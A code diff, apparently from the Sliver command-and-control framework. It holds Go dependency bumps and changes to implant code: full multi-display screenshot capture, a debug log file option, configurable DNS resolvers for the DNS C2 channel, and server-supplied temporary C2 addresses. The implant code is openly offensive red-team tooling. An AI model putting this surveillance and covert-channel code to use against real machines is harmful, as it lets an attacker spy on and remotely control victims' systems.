github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
||||
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
@@ -290,8 +289,8 @@ golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5y
|
||||
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
|
||||
golang.org/x/crypto v0.7.0 h1:AvwMYaRytfdeVt3u6mLaxYtErKYjxA2OXjJ1HHq6t3A=
|
||||
golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU=
|
||||
golang.org/x/crypto v0.9.0 h1:LF6fAI+IutBocDJ2OT0Q1g8plpYljMZ4+lty+dsqw3g=
|
||||
golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
|
||||
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
|
||||
@@ -317,10 +316,10 @@ golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qx
|
||||
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/net v0.8.0 h1:Zrh2ngAOFYneWTAIAPethzeaQLuHwhuBkuV6ZiRnUaQ=
|
||||
golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc=
|
||||
golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M=
|
||||
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.4.0 h1:NF0gk8LVPg1Ml7SSbGyySuoxdsXitj7TvgvuRxIMc/M=
|
||||
golang.org/x/oauth2 v0.6.0 h1:Lh8GPgSKBfWSwFvtuWOfeI3aAAnbXTSutYxJiOJFgIw=
|
||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
@@ -365,21 +364,22 @@ golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.8.0 h1:EBmGv8NaZBZTWvrbjNoL6HVt+IVy3QDQpJs7VRIw3tU=
|
||||
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210503060354-a79de5458b56/go.mod h1:tfny5GFUkzUvx4ps4ajbZsCe5lw1metzhBm9T3x7oIY=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||
golang.org/x/term v0.6.0 h1:clScbb1cHjoCkyRbWwBEUZ5H/tIFu5TAXIqaZD0Gcjw=
|
||||
golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U=
|
||||
golang.org/x/term v0.8.0 h1:n5xxQn2i3PC0yLAbjTpNT85q/Kgzcr2gIoX9OrJUols=
|
||||
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.8.0 h1:57P1ETyNKtuIjB4SRd15iJxuhj8Gc416Y78H3qgMh68=
|
||||
golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
||||
golang.org/x/text v0.9.0 h1:2sjJmO8cDvYveuX97RDLsxlyUxLl+GHoLxBiRdHllBE=
|
||||
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba h1:O8mE0/t419eoIwhTFpKVkHiTs/Igowgfkj25AcZrtiE=
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
@@ -412,15 +412,15 @@ google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6
|
||||
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
|
||||
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
|
||||
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
||||
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f h1:BWUVssLB0HVOSY78gIdvk1dTVYtT1y8SBWtPYuTJ/6w=
|
||||
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM=
|
||||
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 h1:DdoeryqhaXp1LtT/emMP1BRJPHHKFi5akj/nbx/zNTA=
|
||||
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s=
|
||||
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
|
||||
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
|
||||
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
|
||||
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
|
||||
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
|
||||
google.golang.org/grpc v1.54.0 h1:EhTqbhiYeixwWQtAEZAxmV9MGqcjEU2mFx52xCzNyag=
|
||||
google.golang.org/grpc v1.54.0/go.mod h1:PUSEXI6iWghWaB6lXM4knEgpJNu2qUcKfDtNci3EC2g=
|
||||
google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag=
|
||||
google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
|
||||
google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
|
||||
@@ -449,16 +449,15 @@ gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gorm.io/driver/mysql v1.4.7 h1:rY46lkCspzGHn7+IYsNpSfEv9tA+SU4SkkB+GFX125Y=
|
||||
gorm.io/driver/mysql v1.4.7/go.mod h1:SxzItlnT1cb6e1e4ZRpgJN2VYtcqJgqnHxWr4wsP8oc=
|
||||
gorm.io/driver/mysql v1.5.0 h1:6hSAT5QcyIaty0jfnff0z0CLDjyRgZ8mlMHLqSt7uXM=
|
||||
gorm.io/driver/mysql v1.5.0/go.mod h1:FFla/fJuCvyTi7rJQd27qlNX2v3L6deTR1GgTjSOLPo=
|
||||
gorm.io/driver/postgres v1.5.0 h1:u2FXTy14l45qc3UeCJ7QaAXZmZfDDv0YrthvmRq1l0U=
|
||||
gorm.io/driver/postgres v1.5.0/go.mod h1:FUZXzO+5Uqg5zzwzv4KK49R8lvGIyscBOqYrtI1Ce9A=
|
||||
gorm.io/driver/sqlite v1.4.4 h1:gIufGoR0dQzjkyqDyYSCvsYR6fba1Gw5YKDqKeChxFc=
|
||||
gorm.io/driver/sqlite v1.4.4/go.mod h1:0Aq3iPO+v9ZKbcdiz8gLWRw5VOPcBOPUQJFLq5e2ecI=
|
||||
gorm.io/gorm v1.23.8/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/gorm v1.24.0/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
|
||||
gorm.io/gorm v1.24.7-0.20230306060331-85eaf9eeda11 h1:9qNbmu21nNThCNnF5i2R3kw2aL27U8ZwbzccNjOmW0g=
|
||||
gorm.io/driver/sqlite v1.5.0 h1:zKYbzRCpBrT1bNijRnxLDJWPjVfImGEn0lSnUY5gZ+c=
|
||||
gorm.io/driver/sqlite v1.5.0/go.mod h1:kDMDfntV9u/vuMmz8APHtHF0b4nyBB7sfCieC6G8k8I=
|
||||
gorm.io/gorm v1.24.7-0.20230306060331-85eaf9eeda11/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
|
||||
gorm.io/gorm v1.25.0 h1:+KtYtb2roDz14EQe4bla8CbQlmb9dN3VejSai3lprfU=
|
||||
gorm.io/gorm v1.25.0/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5 h1:cv/zaNV0nr1mJzaeo4S5mHIm5va1W0/9J3/5prlsuRM=
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5/go.mod h1:TIvkJD0sxe8pIob3p6T8IzxXunlp6yfgktvTNp+DGNM=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
@@ -471,19 +470,19 @@ modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw=
|
||||
modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY=
|
||||
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
|
||||
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
|
||||
modernc.org/libc v1.22.3 h1:D/g6O5ftAfavceqlLOFwaZuA5KYafKwmr30A6iSqoyY=
|
||||
modernc.org/libc v1.22.3/go.mod h1:MQrloYP209xa2zHome2a8HLiLm6k0UT8CoHpV74tOFw=
|
||||
modernc.org/libc v1.22.5 h1:91BNch/e5B0uPbJFgqbxXuOnxBQjlS//icfQEGmvyjE=
|
||||
modernc.org/libc v1.22.5/go.mod h1:jj+Z7dTNX8fBScMVNRAYZ/jF91K8fdT2hYMThc3YjBY=
|
||||
modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ=
|
||||
modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/memory v1.5.0 h1:N+/8c5rE6EqugZwHii4IFsaJ7MUhoWX07J5tC/iI5Ds=
|
||||
modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU=
|
||||
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
|
||||
modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
|
||||
modernc.org/sqlite v1.21.0 h1:4aP4MdUf15i3R3M2mx6Q90WHKz3nZLoz96zlB6tNdow=
|
||||
modernc.org/sqlite v1.21.0/go.mod h1:XwQ0wZPIh1iKb5mkvCJ3szzbhk+tykC8ZWqTRTgYRwI=
|
||||
modernc.org/sqlite v1.22.1 h1:P2+Dhp5FR1RlVRkQ3dDfCiv3Ok8XPxqpe70IjYVA9oE=
|
||||
modernc.org/sqlite v1.22.1/go.mod h1:OrDj17Mggn6MhE+iPbBNf7RGKODDE9NFT0f3EwDzJqk=
|
||||
modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
|
||||
modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
|
||||
modernc.org/tcl v1.15.1 h1:mOQwiEK4p7HruMZcwKTZPw/aqtGM4aY00uzWhlKKYws=
|
||||
modernc.org/tcl v1.15.2 h1:C4ybAYCGJw968e+Me18oW55kD/FexcHbqH2xak1ROSY=
|
||||
modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
|
||||
modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
modernc.org/z v1.7.0 h1:xkDw/KepgEjeizO2sNco+hqYkU12taxQFqPEmgm1GWE=
|
||||
modernc.org/z v1.7.3 h1:zDJf6iHjrnB+WRD88stbXokugjyc0/pB91ri1gO6LZY=
|
||||
@@ -121,9 +121,11 @@ func ExecLimits() {
|
||||
} else {
|
||||
log.Printf("LimitLocale regexp %#v does not match %#v", `{{.Config.LimitLocale}}`, locale)
|
||||
}
|
||||
// {{else}}
|
||||
_ = err
|
||||
// {{end}}
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -20,6 +20,7 @@ package screen
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"image"
|
||||
"image/png"
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
@@ -28,7 +29,7 @@ import (
|
||||
screen "github.com/kbinani/screenshot"
|
||||
)
|
||||
|
||||
//Screenshot - Retrieve the screenshot of the active displays
|
||||
// Screenshot - Retrieve the screenshot of the active displays
|
||||
func Screenshot() []byte {
|
||||
return WindowsCapture()
|
||||
}
|
||||
@@ -37,15 +38,13 @@ func Screenshot() []byte {
|
||||
func WindowsCapture() []byte {
|
||||
nDisplays := screen.NumActiveDisplays()
|
||||
|
||||
var height, width int = 0, 0
|
||||
var all image.Rectangle = image.Rect(0, 0, 0, 0)
|
||||
|
||||
for i := 0; i < nDisplays; i++ {
|
||||
rect := screen.GetDisplayBounds(i)
|
||||
if rect.Dy() > height {
|
||||
height = rect.Dy()
|
||||
}
|
||||
width += rect.Dx()
|
||||
all = rect.Union(all)
|
||||
}
|
||||
img, err := screen.Capture(0, 0, width, height)
|
||||
img, err := screen.Capture(all.Min.X, all.Min.Y, all.Dx(), all.Dy())
|
||||
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
|
||||
@@ -162,6 +162,14 @@ func main() {
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
debugFilePath := "{{ .Config.DebugFile }}"
|
||||
if debugFilePath != "" {
|
||||
// Open the log file for writing
|
||||
file, err := os.OpenFile(debugFilePath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
|
||||
if err == nil {
|
||||
log.SetOutput(file)
|
||||
}
|
||||
}
|
||||
// {{else}}
|
||||
log.SetFlags(0)
|
||||
log.SetOutput(ioutil.Discard)
|
||||
@@ -532,7 +540,7 @@ func openSessionHandler(data []byte) {
|
||||
|
||||
go func() {
|
||||
abort := make(chan struct{})
|
||||
connections := transports.StartConnectionLoop(abort)
|
||||
connections := transports.StartConnectionLoop(abort, openSession.C2S...)
|
||||
defer func() { abort <- struct{}{} }()
|
||||
connectionAttempts := 0
|
||||
for connection := range connections {
|
||||
|
||||
@@ -103,6 +103,7 @@ type DNSOptions struct {
|
||||
WorkersPerResolver int
|
||||
ForceBase32 bool
|
||||
ForceResolvConf string
|
||||
ForceResolvers string
|
||||
}
|
||||
|
||||
// ParseDNSOptions - Parse c2 specific options
|
||||
@@ -141,6 +142,7 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
|
||||
WorkersPerResolver: workersPerResolver,
|
||||
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
|
||||
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
|
||||
ForceResolvers: c2URI.Query().Get("resolvers"),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -166,6 +168,7 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
|
||||
parent: parent,
|
||||
forceBase32: opts.ForceBase32,
|
||||
forceResolvConf: opts.ForceResolvConf,
|
||||
forceResolvers: opts.ForceResolvers,
|
||||
queryTimeout: opts.QueryTimeout,
|
||||
retryWait: opts.RetryWait,
|
||||
retryCount: opts.RetryCount,
|
||||
@@ -190,6 +193,7 @@ type SliverDNSClient struct {
|
||||
queryTimeout time.Duration
|
||||
forceBase32 bool
|
||||
forceResolvConf string
|
||||
forceResolvers string
|
||||
subdataSpace int
|
||||
dnsSessionID uint32
|
||||
msgCount uint32
|
||||
@@ -738,13 +742,33 @@ func (s *SliverDNSClient) getDNSSessionID() error {
|
||||
|
||||
func (s *SliverDNSClient) loadResolvConf() error {
|
||||
var err error
|
||||
if len(s.forceResolvConf) < 1 {
|
||||
if len(s.forceResolvConf) < 1 && s.forceResolvers == "" {
|
||||
s.resolvConf, err = dnsClientConfig()
|
||||
} else if s.forceResolvers != "" {
|
||||
// Convert the specified resolvers into a string that dns.ClientConfigFromReader can understand
|
||||
// Strip out spaces and split on commas
|
||||
resolversSlice := strings.Split(s.forceResolvers, " ")
|
||||
s.resolvConf, err = dns.ClientConfigFromReader(strings.NewReader("nameserver " + strings.Join(resolversSlice, "\nnameserver ")))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] Error trying to use specified resolvers (%s): %s", s.forceResolvers, err.Error())
|
||||
// {{end}}
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] Using specified DNS resolvers: %s", s.forceResolvers)
|
||||
// {{end}}
|
||||
}
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] Using forced resolv.conf: %s", s.forceResolvConf)
|
||||
// {{end}}
|
||||
s.resolvConf, err = dns.ClientConfigFromReader(strings.NewReader(s.forceResolvConf))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] Error trying to use forced resolv.conf (%s): %s", s.forceResolvConf, err.Error())
|
||||
// {{end}}
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] Using forced resolv.conf: %s", s.forceResolvConf)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -80,7 +80,7 @@ type Start func() error
|
||||
type Stop func() error
|
||||
|
||||
// StartConnectionLoop - Starts the main connection loop
|
||||
func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
|
||||
func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *Connection {
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting interactive session connection loop ...")
|
||||
@@ -88,7 +88,7 @@ func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
|
||||
|
||||
nextConnection := make(chan *Connection)
|
||||
innerAbort := make(chan struct{})
|
||||
c2Generator := C2Generator(innerAbort)
|
||||
c2Generator := C2Generator(innerAbort, temporaryC2...)
|
||||
|
||||
go func() {
|
||||
var connection *Connection
|
||||
|
||||
@@ -36,17 +36,26 @@ const (
|
||||
)
|
||||
|
||||
// C2Generator - Creates a stream of C2 URLs based on a connection strategy
|
||||
func C2Generator(abort <-chan struct{}) <-chan *url.URL {
|
||||
func C2Generator(abort <-chan struct{}, temporaryC2 ...string) <-chan *url.URL {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting c2 url generator ({{.Config.ConnectionStrategy}}) ...")
|
||||
// {{end}}
|
||||
|
||||
c2Servers := []func() string{}
|
||||
// {{range $index, $value := .Config.C2}}
|
||||
c2Servers = append(c2Servers, func() string {
|
||||
return "{{$value}}" // {{$index}}
|
||||
})
|
||||
// {{end}} - range
|
||||
// Any temporary C2 servers that are defined will override what is configured in the implant
|
||||
if len(temporaryC2) > 0 {
|
||||
for _, c2 := range temporaryC2 {
|
||||
c2Servers = append(c2Servers, func() string {
|
||||
return c2
|
||||
})
|
||||
}
|
||||
} else {
|
||||
// {{range $index, $value := .Config.C2}}
|
||||
c2Servers = append(c2Servers, func() string {
|
||||
return "{{$value}}" // {{$index}}
|
||||
})
|
||||
// {{end}} - range
|
||||
}
|
||||
|
||||
generator := make(chan *url.URL)
|
||||
go func() {
|
||||
|
||||
+571
-552
File diff suppressed because it is too large.
Load diff
@@ -137,10 +137,11 @@ message ImplantConfig {
|
||||
string MtlsCert = 21;
|
||||
string MtlsKey = 22;
|
||||
|
||||
string ECCPublicKey = 23;
|
||||
string ECCPrivateKey = 24;
|
||||
string ECCPublicKeySignature = 25;
|
||||
string MinisignServerPublicKey = 26;
|
||||
string ECCServerPublicKey = 23;
|
||||
string ECCPublicKey = 24;
|
||||
string ECCPrivateKey = 25;
|
||||
string ECCPublicKeySignature = 26;
|
||||
string MinisignServerPublicKey = 27;
|
||||
|
||||
string WGImplantPrivKey = 30;
|
||||
string WGServerPubKey = 31;
|
||||
@@ -171,6 +172,7 @@ message ImplantConfig {
|
||||
bool IsShellcode = 104;
|
||||
|
||||
bool RunAtLoad = 105;
|
||||
string DebugFile = 106;
|
||||
}
|
||||
|
||||
message ExternalImplantConfig {
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v4.22.2
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.12
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
@@ -131,9 +131,8 @@ func (x *Request) GetSessionID() string {
|
||||
}
|
||||
|
||||
// Response - Common fields used in all gRPC responses. Note that the Err field
|
||||
//
|
||||
// only used when the implant needs to return an error to the server.
|
||||
// Client<->Server comms should use normal gRPC error handling.
|
||||
// only used when the implant needs to return an error to the server.
|
||||
// Client<->Server comms should use normal gRPC error handling.
|
||||
type Response struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v4.22.2
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.12
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
@@ -87,10 +87,12 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
|
||||
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
|
||||
}
|
||||
|
||||
// NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
// depending on the DNSMessageType as noted below:
|
||||
//
|
||||
// [Type TOTP]: ID field is used for the TOTP code
|
||||
//NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
//depending on the DNSMessageType as noted below:
|
||||
//
|
||||
//[Type TOTP]: ID field is used for the TOTP code
|
||||
//
|
||||
type DNSMessage struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v4.22.2
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.12
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
|
||||
@@ -1,8 +1,4 @@
|
||||
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
|
||||
// versions:
|
||||
// - protoc-gen-go-grpc v1.2.0
|
||||
// - protoc v4.22.2
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v4.22.2
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.12
|
||||
// source: sliverpb/sliver.proto
|
||||
|
||||
package sliverpb
|
||||
